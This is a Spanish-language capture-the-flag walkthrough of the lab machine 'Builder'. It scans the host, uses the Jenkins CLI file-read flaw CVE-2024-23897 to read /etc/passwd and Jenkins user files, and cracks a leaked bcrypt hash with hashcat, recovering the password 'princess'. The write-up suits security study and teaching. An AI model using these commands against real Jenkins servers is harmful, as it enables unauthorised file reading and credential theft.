Builder
Lo primero que voy a hacer es si la máquina me responde a un ping y se encuentra encendida.
❯ ping -c 1 10.10.11.10 -R
PING 10.10.11.10 (10.10.11.10) 56(124) bytes of data.
64 bytes from 10.10.11.10: icmp_seq=1 ttl=63 time=117 ms
RR: 10.10.14.96 -> NUESTRA IP ATACANTE
10.10.10.2 -> NODO INTERMEDIARIO
10.10.11.10 -> IP VICTIMA
10.10.11.10
10.10.14.1 -> NODO INTERMEDIARIO
10.10.14.96
--- 10.10.11.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 117.326/117.326/117.326/0.000 ms
Gracias al ttl identifico que estoy ante una máquina Linux.
Ahora voy a hacer una enummeración con nmap para escanear todos los puertos (-p-) abiertos (–open) con un Stealth Scan (-sS), que permite un escaneo más rápido y sigiloso, junto con un –min-rate de 5000 para tramitar 5000 paquetes/segundo. Le incluyo también un triple verbose (-vvv) para que vaya mostrando por consola los puertos abiertos sin necesidad de que el escaneo concluya, y no quiero que aplique resolución DNS (-n) ni el descubrimiento/detección de hosts (-Pn). Por último lo exporto a formato grepeable (-oG).
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.10 -oG Puertos
❯ cat Puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.94SVN scan initiated Tue Jun 4 09:21:01 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG Puertos 10.10.11.10
2 │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
3 │ Host: 10.10.11.10 () Status: Up
4 │ Host: 10.10.11.10 () Ports: 22/open/tcp//ssh///, 8080/open/tcp//http-proxy///
5 │ # Nmap done at Tue Jun 4 09:21:17 2024 -- 1 IP address (1 host up) scanned in 16.02 seconds
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Una vez tenemos los puertos abiertos vamos a escanear esos 2 puertos lanzando un script básico de reconocimiento (-sC) y tratar de determinar la versión y servicio (-sV). Luego lo voy a exportar en formato nmap (-oN).
❯ sudo nmap -p22,8080 -sCV 10.10.11.10 -oN objetivo
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:16 EDT
Nmap scan report for 10.10.11.10
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que en el puerto 22 tiene un Ubuntu. POdemos intentarnos hacer a la idea de cual es el codename haciendo una búsqueda en Internet y poniendo en este caso ‘OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 launchpad’.
Y suspuestamente es un Ubuntu Jammy.
En el 8080 encontramos Jenkins, un servidor de automatización open source escrito en Java. Podemos hacer un whatweb para ver que hay detrás.
❯ whatweb http://10.10.11.10:8080
http://10.10.11.10:8080 [200 OK] Cookies[JSESSIONID.2794e409], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.18)], HttpOnly[JSESSIONID.2794e409], IP[10.10.11.10], Jenkins[2.441], Jetty[10.0.18], OpenSearch[/opensearch.xml], Script[application/json,text/javascript], Title[Dashboard [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson-theme,referrer-policy,cross-origin-opener-policy,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]
Voy a usar http-enum para enumerar recursos web en el servidor web objetivo. Puede detectar varias apps web, directorios y archivos que podrían encontrarse presentes. Actúa como un pequeño fuzzer, semejante a wfuzz, gobuster, dirbuster…
❯ nmap --script http-enum -p8080 10.10.11.10 -oN webScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 16:02 EDT
Nmap scan report for 10.10.11.10
Host is up (0.13s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| http-enum:
| /robots.txt: Robots file
| /api/: Potentially interesting folder
|_ /secured/: Potentially interesting folder (401 Unauthorized)
Nmap done: 1 IP address (1 host up) scanned in 357.86 seconds
Voy a probar a clonar este exploit para ver que ocurre.
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00K\x08ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Como podemos ver, ejecuto varias veces el script porque aveces lo reporta y otras veces no, pero cuando lo muestra podemos ver el /etc/passwd pero de forma parcial, no lo vemos entero el archivo. Voy a probar otro script, en este caso usaré este [repo] (https://github.com/3yujw7njai/CVE-2024-23897.git)
Nos vamos a conectar al cliente de jenkins para realizar diferentes cosas.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
add-job-to-view
Adds jobs to view.
build
Builds a job, and optionally waits until its completion.
cancel-quiet-down
Cancel the effect of the "quiet-down" command.
clear-queue
Clears the build queue.
connect-node
Reconnect to a node(s)
console
Retrieves console output of a build.
copy-job
Copies a job.
create-credentials-by-xml
Create Credential by XML
create-credentials-domain-by-xml
Create Credentials Domain by XML
create-job
Creates a new job by reading stdin as a configuration XML file.
create-node
Creates a new node by reading stdin as a XML configuration.
create-view
Creates a new view by reading stdin as a XML configuration.
declarative-linter
Validate a Jenkinsfile containing a Declarative Pipeline
delete-builds
Deletes build record(s).
delete-credentials
Delete a Credential
delete-credentials-domain
Delete a Credentials Domain
delete-job
Deletes job(s).
delete-node
Deletes node(s)
delete-view
Deletes view(s).
disable-job
Disables a job.
disable-plugin
Disable one or more installed plugins.
disconnect-node
Disconnects from a node.
enable-job
Enables a job.
enable-plugin
Enables one or more installed plugins transitively.
get-credentials-as-xml
Get a Credentials as XML (secrets redacted)
get-credentials-domain-as-xml
Get a Credentials Domain as XML
get-job
Dumps the job definition XML to stdout.
get-node
Dumps the node definition XML to stdout.
get-view
Dumps the view definition XML to stdout.
groovy
Executes the specified Groovy script.
groovysh
Runs an interactive groovy shell.
help
Lists all the available commands or a detailed description of single command.
import-credentials-as-xml
Import credentials as XML. The output of "list-credentials-as-xml" can be used as input here as is, the only needed change is to set the actual Secrets which are redacted in the output.
install-plugin
Installs a plugin either from a file, an URL, or from update center.
keep-build
Mark the build to keep the build forever.
list-changes
Dumps the changelog for the specified build(s).
list-credentials
Lists the Credentials in a specific Store
list-credentials-as-xml
Export credentials as XML. The output of this command can be used as input for "import-credentials-as-xml" as is, the only needed change is to set the actual Secrets which are redacted in the output.
list-credentials-context-resolvers
List Credentials Context Resolvers
list-credentials-providers
List Credentials Providers
list-jobs
Lists all jobs in a specific view or item group.
list-plugins
Outputs a list of installed plugins.
mail
Reads stdin and sends that out as an e-mail.
offline-node
Stop using a node for performing builds temporarily, until the next "online-node" command.
online-node
Resume using a node for performing builds, to cancel out the earlier "offline-node" command.
quiet-down
Quiet down Jenkins, in preparation for a restart. Don’t start any builds.
reload-configuration
Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk.
reload-job
Reload job(s)
remove-job-from-view
Removes jobs from view.
replay-pipeline
Replay a Pipeline build with edited script taken from standard input
restart
Restart Jenkins.
restart-from-stage
Restart a completed Declarative Pipeline build from a given stage.
safe-restart
Safe Restart Jenkins. Don’t start any builds.
safe-shutdown
Puts Jenkins into the quiet mode, wait for existing builds to be completed, and then shut down Jenkins.
session-id
Outputs the session ID, which changes every time Jenkins restarts.
set-build-description
Sets the description of a build.
set-build-display-name
Sets the displayName of a build.
shutdown
Immediately shuts down Jenkins server.
stop-builds
Stop all running builds for job(s)
update-credentials-by-xml
Update Credentials by XML
update-credentials-domain-by-xml
Update Credentials Domain by XML
update-job
Updates the job definition XML from stdin. The opposite of the get-job command.
update-node
Updates the node definition XML from stdin. The opposite of the get-node command.
update-view
Updates the view definition XML from stdin. The opposite of the get-view command.
version
Outputs the current version.
wait-node-offline
Wait for a node to become offline.
wait-node-online
Wait for a node to become online.
who-am-i
Reports your credential and permissions.
Por ejemplo podemos ver con quien estamos conectados.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ who-am-i
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
anonymous
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ help @/etc/passwd
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
Con la instrucción connect-node podemos ver más contenido.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ connect-node @/etc/passwd
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.
Si queremos ver que comando tiene más lineas voy a ejecutar un pequeño script que he creado para que me ejecute todas las instrucciones y vea que instrucción me devuelve más líneas.
También podemos utilizar este comando para que saque solo los nombres.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/etc/passwd 2>&1 | awk -F: '$1 ~ /^[a-z]+$/ { sub(/:.*No such agent.*/, "", $0); print $0 }'
root
mail
backup
nobody
lp
uucp
bin
news
proxy
irc
list
jenkins
games
man
daemon
sys
sync
---------------------------
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/user.txt
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: No such agent "f4e5bc0dd58dad283a71da1e4e0265ed" exists.
Voy a desplegar jenkins en local y para eso voy a utilizar docker. Para instalarlo, puedes leer esta documentación
Una vez instalado Docker, vamos a usar el repositorio official de jenkins docker.
*************************************************************
*************************************************************
*************************************************************
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
150641c8fceb45d09aef6b6c2086b5a6
This may also be found at: /var/jenkins_home/secrets/initialAdminPassword
*************************************************************
*************************************************************
*************************************************************
2024-06-07 18:00:53.519+0000 [id=52] INFO h.m.DownloadService$Downloadable#load: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
2024-06-07 18:00:53.520+0000 [id=52] INFO hudson.util.Retrier#start: Performed the action check updates server successfully at the attempt #1
2024-06-07 18:00:54.337+0000 [id=39] INFO jenkins.InitReactorRunner$1#onAttained: Completed initialization
2024-06-07 18:00:54.463+0000 [id=25] INFO hudson.lifecycle.Lifecycle#onReady: Jenkins is fully up and running
Cuando se despliega nos dice que un usuario de admin ha sido generado con una contraseña, y nos da la ruta donde se guarda. Asi que tenemos una ruta potencial que probar.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/secrets/initialAdminPassword
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar offline-node NAME ... [-m VAL]
Stop using a node for performing builds temporarily, until the next "online-node" command.
NAME : Agent name, or empty string for built-in node
-m VAL : Record the reason about why you are disconnecting this node
Pero no encuentro nada. Vamos a ver el docker
❯ sudo docker ps
[sudo] password for oso:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b794d2db7f54 jenkins/jenkins:lts-jdk17 "/usr/bin/tini -- /u…" 18 minutes ago Up 18 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp suspicious_wing
❯ sudo docker port suspicious_wing
50000/tcp -> 0.0.0.0:50000
50000/tcp -> :::50000
8080/tcp -> 0.0.0.0:8080
8080/tcp -> :::8080
Y ahora vamos a esperar a que instale.
Creamos la cuenta
Vamos a coger el container id para traernos una bash del docker con el siguiente comand.
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b794d2db7f54 jenkins/jenkins:lts-jdk17 "/usr/bin/tini -- /u…" 2 hours ago Up 5 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp suspicious_wing
❯ sudo docker exec -it b794d2db7f54 bash
jenkins@b794d2db7f54:/$
Ahora podemos buscar por el nombre del usuario admin que hemos creado (en nuestro caso oso) para ver en que archivos se guarda.
jenkins@b794d2db7f54:~$ grep -r "oso" -l
users/oso_5157628474146071963/config.xml
users/users.xml
Si hago un cat de estos archivos:
jenkins@b794d2db7f54:~$ cat users/oso_5157628474146071963/config.xml
<?xml version='1.1' encoding='UTF-8'?>
<user>
<version>10</version>
<id>oso</id>
<fullName>oso</fullName>
<properties>
<jenkins.console.ConsoleUrlProviderUserProperty/>
<hudson.model.MyViewsProperty>
<views>
<hudson.model.AllView>
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>
<name>all</name>
<filterExecutors>false</filterExecutors>
<filterQueue>false</filterQueue>
<properties class="hudson.model.View$PropertyList"/>
</hudson.model.AllView>
</views>
</hudson.model.MyViewsProperty>
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.204.vf6fddd8a_8b_e9">
<providerId>default</providerId>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
<hudson.model.PaneStatusProperties>
<collapsed/>
</hudson.model.PaneStatusProperties>
<jenkins.security.seed.UserSeedProperty>
<seed>d32c65764236a94d</seed>
</jenkins.security.seed.UserSeedProperty>
<hudson.search.UserSearchProperty>
<insensitiveSearch>true</insensitiveSearch>
</hudson.search.UserSearchProperty>
<hudson.model.TimeZoneProperty/>
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
<flags/>
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<passwordHash>#jbcrypt:$2a$10$MQAexN7oA60FHCOMCbHx/.5DRy4pcKO6FN0e7CB0xzAvB5RyxtjfC</passwordHash>
</hudson.security.HudsonPrivateSecurityRealm_-Details>
<hudson.tasks.Mailer_-UserProperty plugin="mailer@472.vf7c289a_4b_420">
<emailAddress>oso@oso.com</emailAddress>
</hudson.tasks.Mailer_-UserProperty>
<jenkins.security.ApiTokenProperty>
<tokenStore>
<tokenList/>
</tokenStore>
</jenkins.security.ApiTokenProperty>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1337.v60b_d7b_c7b_c9f">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
<jenkins.security.LastGrantedAuthoritiesProperty>
<roles>
<string>authenticated</string>
</roles>
<timestamp>1717790997968</timestamp>
</jenkins.security.LastGrantedAuthoritiesProperty>
</properties>
</user>
jenkins@b794d2db7f54:~$ cat users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.UserIdMapper>
<version>1</version>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>oso</string>
<string>oso_5157628474146071963</string>
</entry>
</idToDirectoryNameMap>
</hudson.model.UserIdMapper>jenkins@b794d2db7f54:~$
Entonces con esto podemos usar el exploit para ver ese archivo en esa ruta.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/users/users.xml
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<string>jennifer_12108429903186576833</string>: No such agent " <string>jennifer_12108429903186576833</string>" exists.
<idToDirectoryNameMap class="concurrent-hash-map">: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists.
<entry>: No such agent " <entry>" exists.
<string>jennifer</string>: No such agent " <string>jennifer</string>" exists.
<version>1</version>: No such agent " <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
</idToDirectoryNameMap>: No such agent " </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
</entry>: No such agent " </entry>" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Y obtenemos un usuario jennifer_12108429903186576833 que ahora poodemos buscar.
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such agent " <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">" exists.
<hudson.search.UserSearchProperty>: No such agent " <hudson.search.UserSearchProperty>" exists.
<roles>: No such agent " <roles>" exists.
<jenkins.security.seed.UserSeedProperty>: No such agent " <jenkins.security.seed.UserSeedProperty>" exists.
</tokenStore>: No such agent " </tokenStore>" exists.
</hudson.search.UserSearchProperty>: No such agent " </hudson.search.UserSearchProperty>" exists.
<timeZoneName></timeZoneName>: No such agent " <timeZoneName></timeZoneName>" exists.
<properties>: No such agent " <properties>" exists.
<jenkins.security.LastGrantedAuthoritiesProperty>: No such agent " <jenkins.security.LastGrantedAuthoritiesProperty>" exists.
<flags/>: No such agent " <flags/>" exists.
<hudson.model.MyViewsProperty>: No such agent " <hudson.model.MyViewsProperty>" exists.
</user>: No such agent "</user>" exists.
</jenkins.security.ApiTokenProperty>: No such agent " </jenkins.security.ApiTokenProperty>" exists.
<views>: No such agent " <views>" exists.
<string>authenticated</string>: No such agent " <string>authenticated</string>" exists.
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: No such agent " <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">" exists.
<user>: No such agent "<user>" exists.
<name>all</name>: No such agent " <name>all</name>" exists.
<description></description>: No such agent " <description></description>" exists.
<emailAddress>jennifer@builder.htb</emailAddress>: No such agent " <emailAddress>jennifer@builder.htb</emailAddress>" exists.
<collapsed/>: No such agent " <collapsed/>" exists.
</jenkins.security.seed.UserSeedProperty>: No such agent " </jenkins.security.seed.UserSeedProperty>" exists.
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: No such agent " </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>" exists.
</hudson.model.MyViewsProperty>: No such agent " </hudson.model.MyViewsProperty>" exists.
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: No such agent " <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>" exists.
<filterQueue>false</filterQueue>: No such agent " <filterQueue>false</filterQueue>" exists.
<jenkins.security.ApiTokenProperty>: No such agent " <jenkins.security.ApiTokenProperty>" exists.
<primaryViewName></primaryViewName>: No such agent " <primaryViewName></primaryViewName>" exists.
</views>: No such agent " </views>" exists.
</hudson.model.TimeZoneProperty>: No such agent " </hudson.model.TimeZoneProperty>" exists.
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: No such agent " <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">" exists.
</hudson.model.PaneStatusProperties>: No such agent " </hudson.model.PaneStatusProperties>" exists.
</hudson.tasks.Mailer_-UserProperty>: No such agent " </hudson.tasks.Mailer_-UserProperty>" exists.
<tokenList/>: No such agent " <tokenList/>" exists.
<jenkins.console.ConsoleUrlProviderUserProperty/>: No such agent " <jenkins.console.ConsoleUrlProviderUserProperty/>" exists.
</hudson.model.AllView>: No such agent " </hudson.model.AllView>" exists.
<timestamp>1707318554385</timestamp>: No such agent " <timestamp>1707318554385</timestamp>" exists.
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>: No such agent " <owner class="hudson.model.MyViewsProperty" reference="../../.."/>" exists.
</properties>: No such agent " </properties>" exists.
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent " </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: No such agent " </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>" exists.
<hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent " <hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
<insensitiveSearch>true</insensitiveSearch>: No such agent " <insensitiveSearch>true</insensitiveSearch>" exists.
<properties class="hudson.model.View$PropertyList"/>: No such agent " <properties class="hudson.model.View$PropertyList"/>" exists.
<hudson.model.TimeZoneProperty>: No such agent " <hudson.model.TimeZoneProperty>" exists.
<hudson.model.AllView>: No such agent " <hudson.model.AllView>" exists.
</hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent " </hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
<providerId>default</providerId>: No such agent " <providerId>default</providerId>" exists.
</roles>: No such agent " </roles>" exists.
</jenkins.security.LastGrantedAuthoritiesProperty>: No such agent " </jenkins.security.LastGrantedAuthoritiesProperty>" exists.
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent " <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
<hudson.model.PaneStatusProperties>: No such agent " <hudson.model.PaneStatusProperties>" exists.
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<fullName>jennifer</fullName>: No such agent " <fullName>jennifer</fullName>" exists.
<seed>6841d11dc1de101d</seed>: No such agent " <seed>6841d11dc1de101d</seed>" exists.
<id>jennifer</id>: No such agent " <id>jennifer</id>" exists.
<version>10</version>: No such agent " <version>10</version>" exists.
<tokenStore>: No such agent " <tokenStore>" exists.
<filterExecutors>false</filterExecutors>: No such agent " <filterExecutors>false</filterExecutors>" exists.
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent " <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Y sacamos esto $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a. Vamos a intentar crackerarlo.
❯ hashid '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
Analyzing '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
❯ hashcat --example-hashes | grep -i "bcrypt"
Name................: bcrypt $2*$, Blowfish (Unix)
Name................: bcrypt(md5($pass)) / bcryptmd5
Name................: bcrypt(sha1($pass)) / bcryptsha1
Name................: bcrypt(sha512($pass)) / bcryptsha512
Y tiene toda la pinta que sea el Blowfish. Vamos a ver cual es el modo listando con -B 1 lineas por encima de ese match.
❯ hashcat --example-hashes | grep -i "bcrypt" -B 1
Hash mode #3200
Name................: bcrypt $2*$, Blowfish (Unix)
--
Hash mode #25600
Name................: bcrypt(md5($pass)) / bcryptmd5
--
Hash mode #25800
Name................: bcrypt(sha1($pass)) / bcryptsha1
--
Hash mode #28400
Name................: bcrypt(sha512($pass)) / bcryptsha512
Es el 3200, asi que con hashcat puedo aplicar un ataque de fuerza bruta (-a 0), donde con el modo 3200 (-m 3200) le paso el hash y el diccionario.
❯ hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz, 1436/2937 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
Y sacamos la contraseña para el usuario jennifer que sería princess. Voy a probar a entrar.
